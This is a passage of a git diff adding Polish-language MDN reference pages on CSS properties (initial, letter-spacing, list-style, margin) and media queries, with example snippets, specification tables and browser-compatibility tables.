id="Przykłady">Przykłady</h2> + +<pre class="brush: css"> /* nagłówek z zieloną ramką */ + h2 { border: medium solid green } + + /* poniższy kod użyty w sidebarze przywraca kolor początkowy (initial) ramki */ + #sidebar h2 { border-color: initial; } +</pre> + +<pre class="brush: css"> <p style="color:red"> + ten tekst jest czerwony + <em style="color:initial"> + ten tekst ma kolor początkowy (initial), np. czarny + </em> + ponownie kolor czerwony + </p> </pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSS4 Cascade', '#initial', 'initial') }}</td> + <td>{{Spec2('CSS4 Cascade')}}</td> + <td>No changes from Level 3.</td> + </tr> + <tr> + <td>{{ SpecName('CSS3 Cascade', '#initial', 'initial') }}</td> + <td>{{Spec2('CSS3 Cascade')}}</td> + <td>Defines what an initial value is.</td> + </tr> + <tr> + <td>{{ SpecName('CSS3 Values', "#common-keywords", "initial") }}</td> + <td>{{Spec2('CSS3 Values')}}</td> + <td>Defines the keyword.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility"><nobr>Wsparcie przeglądarek</nobr></h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Podstawowe wspracie</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.9.1")}}{{property_prefix("-moz")}}<sup>[1]</sup><br> + {{CompatGeckoDesktop("19.0")}}</td> + <td>{{CompatNo}}</td> + <td>15.0</td> + <td>1.2</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Podstawowe wsparcie</td> + <td>1.0</td> + <td>{{CompatGeckoMobile("1.9.1")}}{{property_prefix("-moz")}}<sup>[1]</sup><br> + {{CompatGeckoMobile("19.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Od wersji Firefox 1.0 wzwyż, wsparcie dla <code>-moz-initial</code> zostało dodane do każdej wersji, zakończono obsługę{{cssxref("quotes")}} od wersji Firefox 3.5 (Gecko 1.9.1). Wsparie dla niestandardowych prefiksów {{cssxref("-moz-border-top-colors","-moz-border-*-colors")}} w wersji Firefox 3.6 (Gecko 1.9.2). Wsparcie dla prefiksu <code>-moz-initial</code> zostało usunięte w <a href="/en-US/docs/Site_Compatibility_for_Firefox_24">Firefox 24</a> na korzyść słowa kluczowego <code>initial</code>.</p> + +<h2 id="See_also" name="See_also">Zobacz również</h2> + +<ul> + <li><a href="/en-US/docs/Web/CSS/initial_value">initial value</a>, {{cssxref("inherit")}}, {{cssxref("unset")}}, {{cssxref("revert")}}</li> +</ul> diff --git a/files/pl/web/css/inne_zasoby/index.html b/files/pl/web/css/inne_zasoby/index.html new file mode 100644 index 0000000000..8db0f7556b --- /dev/null +++ b/files/pl/web/css/inne_zasoby/index.html @@ -0,0 +1,28 @@ +--- +title: Inne zasoby +slug: Web/CSS/Inne_zasoby +tags: + - CSS + - Wszystkie_kategorie +translation_of: Web/CSS +--- +<p> +</p> +<h3 id="Dokumenty_W3C" name="Dokumenty_W3C"> Dokumenty W3C </h3> +<ul><li> <a class="external" href="http://www.w3.org/Style/CSS/">CSS Activity Page</a> +</li><li> <a class="external" href="http://www.w3.org/TR/REC-CSS2/">CSS2 Specification</a> +</li><li> <a class="external" href="http://www.w3.org/TR/CSS21/">CSS 2.1 Specification</a> +</li><li> <a class="external" href="http://www.w3.org/Stylesheets/Core/">W3C Core Styles</a> +</li><li> <a class="external" href="http://www.w3.org/Style/CSS/Test/current/">CSS1 Test Suite</a> +</li><li> <a class="external" href="http://www.w3.org/Style/CSS/Test/CSS2.1/current/">CSS2.1 Test Suite</a> +</li></ul> +<h3 id="Inne_zasoby" name="Inne_zasoby"> Inne zasoby </h3> +<ul><li> <a class="external" href="http://osiolki.net/tabelki/">Zmiana tabel na CSS</a> +</li><li> <a class="external" href="http://www.w3schools.com/css/">W3 Schools CSS tutorial pages</a> +</li><li> <a class="external" href="http://gallery.theopalgroup.com/selectoracle/">SelectORacle</a> +</li><li> <a class="external" href="http://www.westciv.com/style_master/house/">House of Style</a> +</li><li> <a class="external" href="http://www.mako4css.com/">MaKo4CSS.com</a> +</li><li> <a class="external" href="http://archivist.incutio.com/css-discuss/">css-discuss archives</a> +</li><li> <a class="external" href="http://www.meyerweb.com/eric/css/edge/">css/edge</a> +</li></ul> +{{ languages( { "en": "en/CSS/Other_Resources", "fr": "fr/CSS/Autres_ressources", "ja": "ja/CSS/Other_Resources" } ) }} diff --git a/files/pl/web/css/letter-spacing/index.html b/files/pl/web/css/letter-spacing/index.html new file mode 100644 index 0000000000..423f1e2c1d --- /dev/null +++ b/files/pl/web/css/letter-spacing/index.html @@ -0,0 +1,74 @@ +--- +title: letter-spacing +slug: Web/CSS/letter-spacing +tags: + - CSS +translation_of: Web/CSS/letter-spacing +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność CSS <code>letter-spacing</code> określa odstępy między literami w tekstowej zawartości elementu. Można zdefiniować od jednej do trzech wartości, by wskazać minimalny, maksymalny oraz optymalny odstęp między literami.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">letter-spacing: [ normal | <length> ] {1,3} +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>normal </dt> + <dd> </dd> + <dt>{{cssxref("<length>")}} </dt> + <dd> </dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre class="eval">p { + letter-spacing: .3em .6em .4em; +} +</pre> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS21/text.html#propdef-letter-spacing">W3C Cascading Style Sheets, level 2 revision 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS1#letter-spacing">W3C Cascading Style Sheets, level 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-text/#letter-spacing">W3C Cascading Style Sheets, level 3</a></li> +</ul> + +<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>?</td> + </tr> + <tr> + <td>Firefox</td> + <td>?</td> + </tr> + <tr> + <td>Netscape</td> + <td>?</td> + </tr> + <tr> + <td>Opera</td> + <td>?</td> + </tr> + <tr> + <td>Safari</td> + <td>?</td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/css/list-style-image/index.html b/files/pl/web/css/list-style-image/index.html new file mode 100644 index 0000000000..91d05bc8bf --- /dev/null +++ b/files/pl/web/css/list-style-image/index.html @@ -0,0 +1,70 @@ +--- +title: list-style-image +slug: Web/CSS/list-style-image +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/list-style-image +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><code>list-style-image</code> określa plik graficzny, który ma zostać użyty jako znacznik <a href="pl/HTML/Element/li">elementu listy</a>.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: {{ Cssxref("none") }}</li> + <li>Stosowana do: elementów z 'display: list-item'</li> + <li>{{ Xref_cssinherited() }}: tak</li> + <li>Procenty: niedostępne</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}: bezwzględny URI lub <code>none</code></li> +</ul> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">list-style-image: <uri> | none | inherit +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt><code>uri</code></dt> + <dd>Adres pliku graficznego.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><ul> + <li>Item 1</li> + <li>Item 2</li> +</ul> +</pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css">ul { + list-style-image: url("https://mdn.mozillademos.org/files/11981/starsolid.gif") +}</pre> + +<h3 id="Result">Result</h3> + +<p>{{EmbedLiveSample('Przykłady')}}</p> + +<h3 id="Dokumentacja" name="Dokumentacja">Dokumentacja</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#list-style-image">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html#propdef-list-style-image">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/2002/WD-css3-lists-20021107/#list-content0">CSS 3</a></li> +</ul> + +<h3 id="Kompatybilno.C5.9B.C4.87_z_przegl.C4.85darkami" name="Kompatybilno.C5.9B.C4.87_z_przegl.C4.85darkami">Kompatybilność z przeglądarkami</h3> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref("list-style") }}, {{ Cssxref("list-style-type") }}, {{ Cssxref("list-style-position") }}</p> diff --git a/files/pl/web/css/list-style-position/index.html b/files/pl/web/css/list-style-position/index.html new file mode 100644 index 0000000000..62b79481be --- /dev/null +++ b/files/pl/web/css/list-style-position/index.html @@ -0,0 +1,99 @@ +--- +title: list-style-position +slug: Web/CSS/list-style-position +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/list-style-position +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><code>list-style-position</code> określa pozycję znacznika listy w <a href="pl/HTML/Element/li">elemencie listy</a>.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: {{ Cssxref("outside") }}</li> + <li>Stosowana do: elementów z 'display: list-item'</li> + <li>{{ Xref_cssinherited() }}: tak</li> + <li>Procenty: niedostępne</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}: jako określone</li> +</ul> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">list-style-position: inside | outside | inherit +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt><code>outside</code></dt> + <dd>Znacznik jest umieszczany poza <a href="pl/HTML/Element/li">elementem listy</a>.</dd> + <dt><code>inside</code></dt> + <dd>Znacznik jest umieszczany wewnątrz elementu listy. Jest on pierwszym blokiem inline i zawartość elementu go opływa.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><ul class="one"> List 1 + <li>List Item 1-1</li> + <li>List Item 1-2</li> + <li>List Item 1-3</li> + <li>List Item 1-4</li> +</ul> +<ul class="two"> List 2 + <li>List Item 2-1</li> + <li>List Item 2-2</li> + <li>List Item 2-3</li> + <li>List Item 2-4</li> +</ul> +<ul class="three"> List 3 + <li>List Item 3-1</li> + <li>List Item 3-2</li> + <li>List Item 3-3</li> + <li>List Item 3-4</li> +</ul></pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush:css;">.one { + list-style:square inside; +} + +.two { + list-style-position: outside; + list-style-type: circle; +} + +.three { + list-style-image: url("https://mdn.mozillademos.org/files/11979/starsolid.gif"); + list-style-position: inherit; +}</pre> + +<h3 id="Result">Result</h3> + +<p>{{EmbedLiveSample("Przykłady","200","420")}}</p> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#list-style-position">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html#propdef-list-style-position">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/2002/WD-css3-lists-20021107/#list-style-position">CSS 3</a></li> +</ul> + +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref("list-style") }}, {{ Cssxref("list-style-type") }}, {{ Cssxref("list-style-image") }}</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/CSS/list-style-position", "es": "es/CSS/list-style-position", "fr": "fr/CSS/list-style-position" } ) }}</p> diff --git a/files/pl/web/css/list-style-type/index.html b/files/pl/web/css/list-style-type/index.html new file mode 100644 index 0000000000..34e55005fe --- /dev/null +++ b/files/pl/web/css/list-style-type/index.html @@ -0,0 +1,108 @@ +--- +title: list-style-type +slug: Web/CSS/list-style-type +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/list-style-type +--- +<p>{{CSSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p><code>list-style-type</code> określa wygląd znacznika <a href="/pl/HTML/Element/li" title="pl/HTML/Element/li">elementu listy</a>.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval"> list-style-type: <std-list-style-name> | {{ Cssxref("none") }} | {{ Cssxref("inherit") }} ; +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt><std-list-style-name></dt> + <dd>Standardowa nazwa stylu listy <code>disc, circle, square, decimal, decimal-leading-zero, lower-roman, upper-roman, lower-greek, lower-latin, upper-latin, armenian, georgian, lower-alpha, upper-alpha</code></dd> + <dt><code>disc</code></dt> + <dd>Wypełniony okrąg.</dd> + <dt><code>circle</code></dt> + <dd>Pusty okrąg.</dd> + <dt><code>square</code></dt> + <dd>Wypełniony kwadrat.</dd> + <dt><code>decimal</code></dt> + <dd>Liczby dziesiętne, zaczynając od 1.</dd> + <dt><code>decimal-leading-zero</code></dt> + <dd>Liczby dziesiętne poprzedzone początkowym zerem (np. 01, 02, 03, ..., 98, 99).</dd> + <dt><code>lower-roman</code></dt> + <dd>Małe cyfry rzymskie (i, ii, iii, iv, v itp.).</dd> + <dt><code>upper-roman</code></dt> + <dd>Duże cyfry rzymskie (I, II, III, IV, V itp.).</dd> + <dt><code>lower-greek</code></dt> + <dd>Małe litery z klasycznej greki: alpha, beta, gamma, ... (α, β, γ, ...).</dd> + <dt><code>lower-latin</code></dt> + <dd>Małe litery ascii (a, b, c, ... z).</dd> + <dt><code>upper-latin</code></dt> + <dd>Duże litery ascii (A, B, C, ... Z).</dd> + <dt><code>armenian</code></dt> + <dd>Tradycyjna numeracja ormiańska (Armenian) (ayb/ayp, ben/pen, gim/keem, ...).</dd> + <dt><code>georgian</code></dt> + <dd>Tradycyjna numeracja gruzińska (Georgian) (an, ban, gan, ..., he, tan, in, in-an, ...).</dd> + <dt><code>lower-alpha</code></dt> + <dd>Tak samo jak <code>lower-latin</code>.</dd> + <dt><code>upper-alpha</code></dt> + <dd>Tak samo jak <code>upper-latin</code>.</dd> + <dt><code>none</code></dt> + <dd>Bez wypunktowania.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css">ol.normal { + list-style-type: upper-alpha; +} + +/* or use the shortcut "list-style": */ +ol.shortcut { + list-style: upper-alpha; +}</pre> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><ol class="normal">List 1 + <li>Hello</li> + <li>World</li> + <li>What's up?</li> +</ol> + +<ol class="shortcut">List 2 + <li>Looks</li> + <li>Like</li> + <li>The</li> + <li>Same</li> +</ol> +</pre> + +<h3 id="Result">Result</h3> + +<p>{{EmbedLiveSample("Przykłady","200","300")}}</p> + +<h2 id="Uwagi" name="Uwagi">Uwagi</h2> + +<p>Ta specyfikacja nie definiuje, w jaki sposób systemy alfabetyczne zachowują się na końcu alfabetu. Na przykład, po 26 elementach listy numerowanie typu lower-latin jest niezdefiniowane (i będzie kontynuowane jako AA, AB, AC,...). Dlatego też dla długich list jest zalecane, aby autorzy określili prawidłowe numery.</p> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#list-style-type">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html#lists">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/2002/WD-css3-lists-20021107/#list-content">CSS 3</a></li> +</ul> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<p>{{ Cssxref("list-style") }}, {{ Cssxref("list-style-image") }}, {{ Cssxref("list-style-position") }}</p> diff --git a/files/pl/web/css/margin/index.html b/files/pl/web/css/margin/index.html new file mode 100644 index 0000000000..b5710503ad --- /dev/null +++ b/files/pl/web/css/margin/index.html @@ -0,0 +1,112 @@ +--- +title: margin +slug: Web/CSS/Margin +translation_of: Web/CSS/margin +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Summary" name="Summary">Podsumowanie</h2> + +<p>Własność <strong><code>margin</code></strong> określa marginesy elementu. Jest ona również sposobem na ustawienie wszystkich marginesów jednocześnie. Negatywne wartosci są dozwolone.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="eval">margin: <a href="/pl/CSS/lenght" title="pl/CSS/lenght"><length></a> {1,4} | <a href="/pl/css/percentage" title="pl/css/percentage"><percentage></a> {1,4} | <a href="/pl/css/inherit" title="pl/css/inherit">inherit</a> | <a href="/pl/css/auto" title="pl/css/auto">auto</a>; +</pre> + +<h3 id="Values" name="Values">Wartości</h3> + +<dl> + <dt><length></dt> + <dd>przyjmuje konkretną odległość.</dd> + <dt><percentage></dt> + <dd>procentowa wartość <strong>szerokości</strong> zawierającego bloku</dd> + <dt>auto</dt> + <dd>przeglądarka obliczy i wybierze margines dla określonego elementu</dd> +</dl> + +<p>Jeśli podano:</p> + +<ul> + <li>jedną wartosć, zostaje ona przypisana dla wszystkich stro.</li> + <li>dwie wartości, pierwsza odnosi się do: góra i dół, a druga do: prawo i lewo.</li> + <li>trzy wartości, pierwsza odnosi się do góra, druga do: prawo i lewo, a trzecia do: dół.</li> + <li>cztery wartości, kolejno odnoszą się do: góra, prawo, dół, lewo;</li> +</ul> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre> .content { + margin: 5%; /* wszystkie strony margines 5% */ + } + + .sidebox { + margin: 10px; /* wszystkie strony margines 10px */ + } + + .rightbox { + margin: 10px 20px; /* górny i dolny margines 10px */ + } /* lewy i prawy margines 20px */ + + + .leftbox { /* górny margines 10px */ + margin: 10px 3% 20px; /* lewy i prawy margines 3% */ + } /* dolny margines 20px */ + + + .mainbox { /* górny margines 10px */ + margin: 10px 3px 30px 5px; /* prawy margines 3px */ + } /* dolny margines 30px */ + /* lewy margines 5px */ + +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSS3 Box', '#margin', 'margin') }}</td> + <td>{{ Spec2('CSS3 Box') }}</td> + <td>No significant change</td> + </tr> + <tr> + <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin') }}</td> + <td>{{ Spec2('CSS3 Transitions') }}</td> + <td>Defines <code>margin</code> as animatable.</td> + </tr> + <tr> + <td>{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin') }}</td> + <td>{{ Spec2('CSS2.1') }}</td> + <td>Removes its effect on inline elements.</td> + </tr> + <tr> + <td>{{ SpecName('CSS1', '#margin', 'margin') }}</td> + <td>{{ Spec2('CSS1') }}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat("css.properties.margin")}}</p> + +<p> </p> + +<p> </p> + +<div id="compat-mobile"> </div> diff --git a/files/pl/web/css/media_queries/index.html b/files/pl/web/css/media_queries/index.html new file mode 100644 index 0000000000..a7a793852e --- /dev/null +++ b/files/pl/web/css/media_queries/index.html @@ -0,0 +1,122 @@ +--- +title: Media queries +slug: Web/CSS/Media_Queries +tags: + - CSS + - Media Queries + - NeedsTranslation + - Overview + - Reference + - TopicStub +translation_of: Web/CSS/Media_Queries +--- +<p>{{CSSRef}}</p> + +<p><strong>Media Queries</strong> is a module of CSS that defines expressions allowing to tailor presentations to a specific range of output devices without changing the content itself.</p> + +<h2 id="Reference">Reference</h2> + +<h3 id="At-rules">At-rules</h3> + +<div class="index"> +<ul> + <li>{{cssxref("@import")}}</li> + <li>{{cssxref("@media")}}</li> +</ul> +</div> + +<h2 id="Guides">Guides</h2> + +<dl> + <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">Using media queries</a></dt> + <dd>Presents what media queries are doing and explains the possible expressions.</dd> + <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries">Testing media queries</a></dt> + <dd>Explains how to test a media query programmatically, from JavaScript.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Conditional')}}</td> + <td>{{Spec2('CSS3 Conditional')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('CSS4 Media Queries')}}</td> + <td>{{Spec2('CSS4 Media Queries')}}</td> + <td> + <p><br> + </p> + </td> + </tr> + <tr> + <td>{{SpecName('CSS3 Media Queries')}}</td> + <td>{{Spec2('CSS3 Media Queries')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'media.html')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{ CompatGeckoDesktop(1.7) }}</td> + <td>9.0</td> + <td>9.2</td> + <td>1.3</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{ CompatGeckoMobile(1.7) }}</td> + <td>9.0</td> + <td>9.0</td> + <td>3.1</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/pl/web/css/media_queries/using_media_queries/index.html b/files/pl/web/css/media_queries/using_media_queries/index.html new file mode 100644 index 0000000000..8944867c66 --- /dev/null +++ b/files/pl/web/css/media_queries/using_media_queries/index.html @@ -0,0 +1,643 @@ +--- +title: Using media queries +slug: Web/CSS/Media_Queries/Using_media_queries +translation_of: Web/CSS/Media_Queries/Using_media_queries +--- +<p><span class="seoSummary">M<strong>edia query</strong> składa się z jej typu oraz przynajmniej jednego wyrażenia, zadaniem którego jest określenie zakresu działania kodu css, poprzez użycie takich wartości jak szerokość, wysokość czy kolor. Media queries zostały dodane w specyfikacji <a href="/en-US/docs/CSS/CSS3" title="/en-US/docs/CSS/CSS3">CSS3</a>, pozwalając na przygotowanie określonego stylu zawartości strony, w zależności od urządzenia docelowego dla kodu, bez potrzeby zmiany samej treści w każdym z przypadków. </span></p> + +<h2 id="Składnia">Składnia</h2> + +<p>Każda Media query składa się z <a href="/pl/docs/CSS/@media">typu medium docelowego</a>, a także, zgodnie ze specyfikacją CSS3, zawiera jedno lub więcej wyrażeń logicznych (ang. media features), które zwracają wartość true lub false. Wynik query jest prawdziwy, jeżeli typ medium jest zgodny z aktualnym urządzaniem (np. gdy rozdzielczość ekranu jest zgodna z podanymi warunkami). Media query zostanie wykonana, tylko jeśli wszystkie jej wyrażenia <strong>będą prawdziwe.</strong> </p> + +<pre class="brush: html"><!-- Media query użyta na elemencie link --> +<link rel="stylesheet" media="(max-width: 800px)" href="example.css" /> + +<!-- Media query w środku arkusza stylów --> +<style> +@media (max-width: 600px) { + .facet_sidebar { + display: none; + } +} +</style> +</pre> + +<p>Jeżeli warunki zostaną spełnione, wskazane arkusze stylów, lub zasady CSS w przypadku stylu osadzonego, zostaną załadowane, zgodnie z zasadą kaskadowości css. Należy zaznaczyć, że załączone style za pomocą znacznika <code>link</code> będą pobierane niezależnie od tego czy media query zostanie wykonana.</p> + +<p>Dopóki nie użyjesz operatorów <code>not</code> lub <code>optional</code>, typ medium nie jest wymagany i dla danej query nadany zostanie typ <code>all</code>.</p> + +<h3 id="Operatory_logiczne">Operatory logiczne</h3> + +<p>Możesz tworzyć zaawansowane media queries za pomocą operatorów logicznych - <code>not</code>, <code>and</code> oraz <code>only</code>. Operator <code>and</code> używany jest do łączenia wielu wyrażeń logicznych, w jedną media query. Nakładają one wymaganie, aby każda zeleżność była prawdziwa, wykonując przez to podany zestaw styli. Operator <code>not</code> używany jest do zanegowanie całej media query. Celem operatora <code>only</code> jest zaaplikowanie CSS'a tylko w przypadku, gdy wszystkie warunki są spełnione ( użyteczne gdy chcemy zapobiec użyciu znacznika media przez starsze przeglądarki. Jak już wspomnieliśmy, używając operatorów <code>only</code> oraz <code>not</code> musisz określić typ medium.</p> + +<p>Możesz również połączyć wiele media queries w listę, oddzielając kolejne wyrażenia media średnikiem. Jeżeli jakakolwiek query jest prawdziwa, całe wyrażenie zwróci true. Takie wyrażenie jest równoznaczne z logicznym operatorem <code>or</code></p> + +<h4 id="and">and</h4> + +<p>The <code>and</code> keyword is used for combining multiple media features together, as well as combining media features with media types. A basic media query, a single media feature with the implied <code>all</code> media type, could look like this:</p> + +<pre class="brush: css">@media (min-width: 700px) { ... }</pre> + +<p>If, however, you wanted this to apply only if the display is in landscape, you could use an <code>and</code> operator to chain the media features together.</p> + +<pre class="brush: css">@media (min-width: 700px) and (orientation: landscape) { ... }</pre> + +<p>Now the above media query will only return true if the viewport is 700px wide or wider and the display is in landscape. If, however, you only wanted this to apply if the display in question was of the media type TV, you could chain these features with a media type using an <code>and</code> operator.</p> + +<pre class="brush: css">@media tv and (min-width: 700px) and (orientation: landscape) { ... }</pre> + +<p>Now, the above media query will only apply if the media type is TV, the viewport is 700px wide or wider, and the display is in landscape.</p> + +<h4 id="comma-separated_lists">comma-separated lists</h4> + +<p>Comma-separated lists behave like the logical operator <code>or</code> when used in media queries. When using a comma-separated list of media queries, if any of the media queries returns true, the styles or style sheets get applied. Each media query in a comma-separated list is treated as an individual query, and any operator applied to one media query does not affect the others. This means the comma-separated media queries can target different media features, types, and states.</p> + +<p>For instance, if you wanted to apply a set of styles if the viewing device either had a minimum width of 700px or was a handheld in landscape, you could write the following:</p> + +<pre class="brush: css">@media (min-width: 700px), handheld and (orientation: landscape) { ... }</pre> + +<p>Above, if I were on a <code>screen</code> device with a viewport width of 800px, the media statement would return true because the first part, interpreted as <code>@media all and (min-width: 700px)</code> would apply to my device and therefore return true, despite the fact that my <code>screen</code> device would fail the <code>handheld</code> media type check in the second media query. Likewise, if I were on a <code>handheld</code> device held in landscape with a viewport width of 500px, while the first media query would fail due to the viewport width, the second media query would succeed and thus the media statement would return true.</p> + +<h4 id="not">not</h4> + +<p>The <code>not</code> keyword applies to the whole media query and returns true if the media query would otherwise return false (such as <code>monochrome</code> on a color display or a screen width of 600px with a <code>min-width: 700px</code> feature query). A <code>not</code> will only negate the media query it is applied to and not to every media query if present in a comma-separated list of media queries. The <code>not</code> keyword cannot be used to negate an individual feature query, only an entire media query. <span style="line-height: 1.572;">For example, the </span><code style="font-size: 14px;">not</code><span style="line-height: 1.572;"> is evaluated last in the following query:</span></p> + +<pre class="brush: css" style="font-size: 14px;">@media not all and (monochrome) { ... } +</pre> + +<p>This means that the query is evaluated like this:</p> + +<pre class="brush: css" style="font-size: 14px;">@media not (all and (monochrome)) { ... } +</pre> + +<p>... rather than like this:</p> + +<pre class="brush: css" style="font-size: 14px;">@media (not all) and (monochrome) { ... }</pre> + +<p>As another example, look at the following media query:</p> + +<pre class="brush: css" style="font-size: 14px;">@media not 